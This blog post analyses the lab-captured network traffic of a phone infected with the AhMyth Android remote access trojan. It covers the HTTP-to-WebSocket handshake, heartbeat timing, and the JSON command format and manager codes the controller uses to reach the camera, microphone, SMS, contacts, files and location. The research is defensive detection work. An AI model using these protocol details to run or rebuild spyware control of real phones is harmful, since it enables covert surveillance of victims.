This blog post was authored by Kamila Babayeva (@_kamifai_) and Sebastian Garcia (@eldracote).
The RAT analysis research is part of the Civilsphere Project (https://www.civilsphereproject.org/), which aims to protect the civil society at risk by understanding how the attacks work and how we can stop them. Check the webpage for more information.
This is the fifth blog of a series analyzing the network traffic of Android RATs from our Android Mischief Dataset [more information here], a dataset of network traffic from Android phones infected with Remote Access Trojans (RAT). In this blog post we provide the analysis of the network traffic of the RAT07-AhMyth [download here]. The previous blogs analyzed Android Tester RAT, DroidJak RAT, AndroRAT RAT, and SpyMax RAT.
RAT Details and Execution Setup
The goal of each of our RAT experiments is to use the RAT ourselves and to execute every possible action while capturing all traffic and storing all the logs. These RAT captures are functional and were used in real attacks.
The AhMyth RAT is a software package that contains the controller software and builder software to build an APK. It was executed on a Windows 7 virtual machine with Ubuntu 20.04 as a host. The Android Application Package (APK) built by the RAT builder was installed in the Android virtual emulator called Genymotion with Android version 8.
While performing different actions on the RAT controller (e.g. upload a file, get GPS location, monitor files, etc.), we captured the network traffic on the Android virtual emulator. The network traffic on the phone was captured using the Emergency VPN service of the Civilsphere Project.
The details about the network traffic capture are:
IP address of the controller: 147.32.83.230
Private IP address of the phone: 10.8.0.57
UTC time of the infection in the capture: 2020-09-02 14:38:53 UTС
Initial Communication and Infection
Once the APK was installed in the phone, it directly tries to establish a TCP connection with the command and control (C&C) server. To connect, the phone uses the IP address and the port of the controller specified in the APK. In our case, the IP address of the controller is 147.32.83.230 and the port is 8000/TCP. The controller IP 147.32.83.230 is the IP address of the Windows 7 virtual machine in our lab computer, meaning that the IP address is not connected to any indicator of compromise (IoC).
Figure 1. The establishment of the first connection over TCP between the controller and the infected phone with AhMyth RAT.
First packet sent from the phone with a SYN flag was retransmitted 3 times. Afterwards, the connection over TCP was established successfully.
Protocol Switching. From HTTP to WebSocket.
The phone sends its first packet with a HTTP request. Figure 2 shows the content of this packet with a GET request.
GET /socket.io/?model=unknown&EIO=3&id=3ad69a3e675271f&transport=polling&release=8.0.0&manf=unknown HTTP/1.1
User-Agent: Dalvik/2.1.0 (Linux; U; Android 8.0.0; unknown Build/OPR6.170623.017)
Host: 147.32.83.230:8000
Connection: Keep-Alive
Accept-Encoding: gzip
Figure 2. HTTP request sent from the infected phone to the C&C. The requested URI is socket.io/ and it is followed by the parameters model=unknown, EIO=3, id=3ad69a3e675271f, transport=polling, release=8.0.0 and manf=unknown.
The phone requests from the C&C the URL /socket.io/ with parameters after ‘?’ character:
model=unknown &
EIO=3 &
id=3ad69a3e675271f &
transport=polling &
release=8.0.0 &
manf=unknown
By using this request we can tell that both the infected phone and the controller should support Socket.IO. Socket.IO is a JavaScript library that enables real-time, bidirectional and event-based communication. According to the WebSocket documentation, the establishment of WebSocket connection goes as follows:
Socket.IO creates a long-polling connection using xhr-polling.
Once this is established, it upgrades to the best connection method available.
Therefore, the first HTTP request parameter ‘transport’ is polling. Also, it sends the parameter EIO=3 that defines the version of Engine.IO. Engine.IO is the implementation of transport-based cross-browser/cross-device bi-directional communication layer for Socket.IO. Other parameters, i.e. model = unknown, id=3ad69a3e675271f, release=8.0.0 and manf=unknown, are the parameters of the phone. The C&C retrieves the phone parameters, stores them (Figure 3, Figure 4), and displays them in the C&C interface (Figure 5).
Figure 3. The function IO.sockets.on that receives the HTTP request from the phone. The C&C parses phone parameters to the function addVictim.
Figure 4. Function addVictim of the C&C that receives the parameters of the phone and stores them in the dictionary victimList.
Figure 5. The C&C interface main window of AhMyth. It shows the connected infected victim with the parameters sent in the first HTTP request.
The C&C responds to the HTTP request of the phone by sending a “HTTP 200 OK” success status response. Figure 6 shows the HTTP 200 OK packet content: HTTP header and the packet data.
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 101
Access-Control-Allow-Origin: *
Set-Cookie: io=_8fjxxqKwE8mBfs9AAAA
Date: Wed, 02 Sep 2020 14:39:03 GMT
Connection: keep-alive
ÿ0{"sid":"_8fjxxqKwE8mBfs9AAAA","upgrades" ["websocket"],"pingInterval":25000,"pingTimeout":60000}
Figure 6. The “HTTP 200 OK” success status response of the C&C to the infected phone. It sends the parameter to upgrade HTTP connection on WebSocket connection with the specified parameters ‘Session ID’, ‘pingInterval’, ‘pingTimeout’.
According to the Engine.io documentation, the HTTP OK response in Figure 6 is so called an ‘open’ packet that consists of packet type ID and JSON-encoded handshake data:
Packet type ID: 0
JSON handshake data: {"sid":"_8fjxxqKwE8mBfs9AAAA",
"upgrades":["websocket"],
"pingInterval":25000,"pingTimeout":60000}
Packet type ID 0 in front of the JSON-encoded handshake data defines the ‘open’ packet type.
After the ‘open’ packet was sent, the phone simultaneously established another connection with the C&C. It is important to notice that the phone started and established the second connection, even though the first connection is not finished yet. Figure 7 shows the first connection from the phone to the C&C 10.8.0.117 port 47782/TCP > 147.32.83.230 port 8000/TCP (packet number 43577), and the second established connection 10.8.0.117 port 47786/TCP > 147.32.83.230 port 8000/TCP (packet number 43628).
Figure 7. Establishment of the second connection from the phone to the C&C after receiving the ‘open’ packet with the handshake data for the WebSocket protocol.
After the second connection between the phone and the C&C was established, the phone uses it to send an HTTP request with the GET method (Figure 8).
GET /socket.io/?release=8.0.0&model=unknown&EIO=3&id=3ad69a3e675271f&transport=websocket&manf=unknown&sid=_8fjxxqKwE8mBfs9AAAA HTTP/1.1
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: Q4qVb6OrvSx+hglxu41Evw==
Sec-WebSocket-Version: 13
Host: 147.32.83.230:8000
Accept-Encoding: gzip
User-Agent: okhttp/3.5.0
Figure 8. Content of the HTTP request sent from the phone to the C&C as part of the second connection. This HTTP request aims to change the HTTP protocol on WebSocket protocol.
The infected phone requests to change the protocol to WebSocket with the HTTP request shown in Figure 8. The requested WebSocket version is 13 and the randomly generated Sec-WebSocket-Key is ’Q4qVb6OrvSx+hglxu41Evw==’ . The parameters sent after the URI /socket.io/ and ‘?’ character are:
release=8.0.0 &
model=unknown &
EIO=3 &
id=3ad69a3e675271f &
transport=websocket &
manf=unknown &
sid=_8fjxxqKwE8mBfs9AAAA
Such parameters as release, model, EIO, manf and id are the same as in the ‘open’ packet shown in Figure 6. The requested parameter ‘transport’ is ‘websocket’, meaning the phone wants to switch protocols from HTTP to WebSocket. The C&C agrees to switch HTTP protocol to the WebSocket protocol and sends an HTTP response code 101 as shown in Figure 9.
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: WpFJ/UYIcTGSRrYNEys8cKRUw/Y=
Figure 9. HTTP 101 code response sent from the C&C in the request of the infected phone to change the communication protocol from HTTP to WebSocket.
WebSocket connection. Heartbeat.
After the C&C agrees to switch the protocol to WebSocket, the following exchange of packets should be performed according to the Socket.io protocol documentation :
WebSocket packets:
< 2probe => Engine.IO probe request
> 3probe => Engine.IO probe response
> 5 => Engine.IO "upgrade" packet type
> 42["hello"] => 4: Engine.IO "message" packet type,
2: Socket.IO "EVENT" packet type,
[“hello”]: content
> 42["world"] => 4: Engine.IO "message" packet type,
2: Socket.IO "EVENT" packet type,
[“hello”]: content
... after a while without message
> 2 => Engine.IO "ping" packet type
< 3 => Engine.IO "pong" packet type
> 1 => Engine.IO "close" packet type
Figure 10. Supposed sequence of WebSocket packets that should be exchanged between the client and the server after the 101 code response, already sent to change the HTTP protocol to WebSocket.
The phone and the C&C follow the WebSocket frames sequence shown in Figure 10:
The infected phone sends a probe request with unmasked data ‘2probe’ (Figure 11).
The C&C sends a probe response with ‘3probe’ (Figure 12).
The phone sends an ‘upgrade’ packet with unmasked data ‘5’ (Figure 13).
The phone sends a ‘ping’ packet with unmasked data ‘2’ (Figure 14).
The C&C sends a ‘pong’ packet with data ‘3’ (Figure 15).
The C&C and the phone continue exchanging ‘ping’ and ‘pong’ packets while waiting for the C&C command (Figure 16). The ‘ping’ and ‘pong’ are sent every 25 seconds, as it was setup in the handshake data in Figure.
Figure 11. The probe request sent by the infected phone with unmasked data ‘2probe’.
Figure 12. The probe request sent by the C&C with data ‘3probe’.
Figure 13. The ‘upgrade’ packet sent by the infected phone with unmasked data ‘5’.
Figure 14. The ‘ping’ packet sent by the infected phone with unmasked data ‘2’.
Figure 15. The ‘pong’ packet sent by the C&C with data ‘3’.
Figure 16. The exchange of ‘ping’ and ‘pong’ packets between the phone and the C&C with the setup interval of 25 seconds.
This process of establishing the connection between the phone and the C&C and switching protocols from HTTP to WebSocket was happening every time that the phone got disconnected from the C&C.
EXAMPLE C&C COMMANDS
All the commands sent from the C&C were in plain text using the JSON-encoded format. The phone responded to the C&C command with plain text but masked by the WebSocket protocol. Figure 17 shows an example of the C&C command ‘Camera List’ that aims to return the list of cameras in the phone.
42["order",{"order":"x0000ca","extra":"camList"}]
Figure 17. The C&C command ‘Camera List’ that aims to retrieve the list of cameras in the phone.
The structure of this packet can be explained as:
Data Meaning
4 Engine.IO "message" packet type
2 Socket.IO "EVENT" packet type
["order",{"order":"x0000ca","extra":"camList"}] C&C JSON-encoded command
The value of the key ‘order’ defines the command manager that will deal with the command given in the key ’extra’. In the case of the packet in Figure 17, the ‘order’:’x0000ca’ stands for the Camera Manager, and the ‘extra’:’camList’ means the ‘Camera List’ command to perform in the Camera Manager.
The phone answers to the C&C command ‘CamerList’ with the cameras available in the phone. The data sent from the phone is in plain text but masked by the WebSocket protocol (Figure 19). The data can be easily unmasked, because the packet contains a WebSocket masking-key that was used to mask the data. Wireshark representation of WebSocket packet is key provided in Figure 20. The Masking-Key is ‘e2e7b2dc’. According to RFC, the formula to mask and unmask the WebSocket data goes as follows:
j = i MOD 4 transformed-octet-i = original-octet-i XOR masking-key-octet-jFigure 18. RFC formula to mask and unmask the data of the packet sent using WebSocket protocol.
EÁº@@*
u S溪@m¨kgÛZjÔ¿
ýöTÖ¸ 7ÍÀ5¦f÷~´CÙhÚIËq´ÌwãE'úIËq´ã~´NÙhó'ÔAÛn´lò5ëÃ'øAÕ`´CäOÖq´lò4ë}ÅX
Figure 19. The packet sent from the phone to the C&C as response to the ‘list camera’ command. The data inside the packet is masked using the WebSocket protocol.
Wireshark performs the unmasking of WebSocket data automatically and puts the data in the key ‘Line-based text data’. The unmasked data is shown in Figure 21.
Figure 20. Wireshark representation of a phone response on the C&C command ‘Camera List’ that aims to retrieve the list of cameras in the phone.
42["x0000ca",{"camList":true,"list":[{"name":"Back","id":0},{"name":"Front","id":1}]}]
Figure 21. Unmasked data of the phone reply on the C&C command ‘Camera Manager’.
The structure of the unmasked packet data in Figure 21 is similar to the packet structure in Figure 17:
Data Meaning
4 Engine.IO "message" packet type
2 Socket.IO "EVENT" packet type
["x0000ca",{"camList":true, C&C JSON-encoded command
"list":[{"name":"Back","id":0},
{"name":"Front","id":1}]}]
Overall, the C&C can control the following managers of the victim’s device:
Name Meaning
x0000ca Camera Manager
x0000cl Call Manager
x0000cn Contacts Manager
x0000fm Files Manager
x0000lm Location Manager
x0000mc Microphone Manager
x0000sm SMS Manager
It means that the C&C has a control over camera, calls, contacts, files, location, microphone and SMS.
LONG CONNECTION
Compared to other RATs, AhMyth was acting very unstable. It kept disconnecting and connecting very often. This ended up generating a lot of connections between the phone and the C&C that are short (compared with other RATs that usually have one long connection). Using the Wireshark tool to analyze the traffic (menu “Conversations”, then “Statistics”, then “TCP”), as shown in Figure 22, we can see several connections to the C&C IP address 147.32.83.230 over port 8000/TCP. The longest connection established between the C&C and the phone is 1808.6655 seconds long (approximately 30 minutes).
Figure 22. All the connections between the infected phone and the C&C. The longest connection has a duration of 1808.6655 seconds, which is approximately 30 minutes.
However, it is important to notice that in this same capture the phone is doing several even longer normal connections with durations up to 3761.7117 seconds (approximately 62 minutes). This specific long connection was done from the phone during a normal operation to the IP address 157.240.30.34, which belongs to Facebook services.
Figure 23. Top connections done by the phone sorted by the duration. The connection to Facebook IP address 157.240.30.34 is the longest.
Conclusion
In this blog we have analyzed the network traffic from a phone infected with AhMyth RAT. We were able to decode its connection and found the distinctive features of WebSocket protocol and a heartbeat. The AhMyth RAT seems to be complex in its communication protocol but it doesn’t seem to be sophisticated in its work.
To summarize, the details found in the network traffic of this RAT are:
The phone connects directly to the IP address and ports specified in APK (default port and custom port).
The protocol used for the connection is switched from the HTTP toWebSocket.
There are several simultaneous connections established between the phone and the C&C over port 8000/TCP.
There is a heartbeat between the controller and the phone over port 8000/TCP. ‘Ping’ and ‘pong’ packets are sent every 25 seconds, according to the parameters setup in the beginning of the connection.
Packets sent from the C&C are in the plain text and JSON-encoded.
Packets sent from the phone are in the plain text, JSON-encoded but masked by the WebSocket protocol. This effectively hides their content from human eyes unless decoded.
The duration of the connection between the phone and the C&C is supposed to be long, but due to the RAT code being unstable, the connection breaks often, generating multiple short connections.
Biographies
KAMILA BABAYEVA
Sebastian Garcia is a malware researcher and security teacher with experience in applied machine learning on network traffic. He founded the Stratosphere Lab, aiming to do impactful security research to help others using machine learning. He believes that free software and machine learning tools can help better protect users from abuse of our digital rights. He researches on machine learning for security, honeypots, malware traffic detection, social networks security detection, distributed scanning (dnmap), keystroke dynamics, fake news, Bluetooth analysis, privacy protection, intruder detection, and microphone detection with SDR (Salamandra). He co-founded the MatesLab hackspace in Argentina and co-founded the Independent Fund for Women in Tech. @eldracote. https://www.researchgate.net/profile/Sebastian_Garcia6
Kamila Babayeva is a 20 years old and third-year bachelor student in the Computer Science and Electrical Engineering program at the Czech Technical University in Prague. She is a researcher in the Civilsphere project, a project dedicated to protecting civil organizations and individuals from targeted attacks. Her research focuses on helping people and protecting their digital rights by developing free software based on machine learning. Initially, she worked as a junior Malware Reverser. Currently, Kamila leads the development of the Stratosphere Linux Intrusion Prevent System (Slips), which is used to protect the civil society in the Civilsphere lab.
SEBASTIAN GARCIA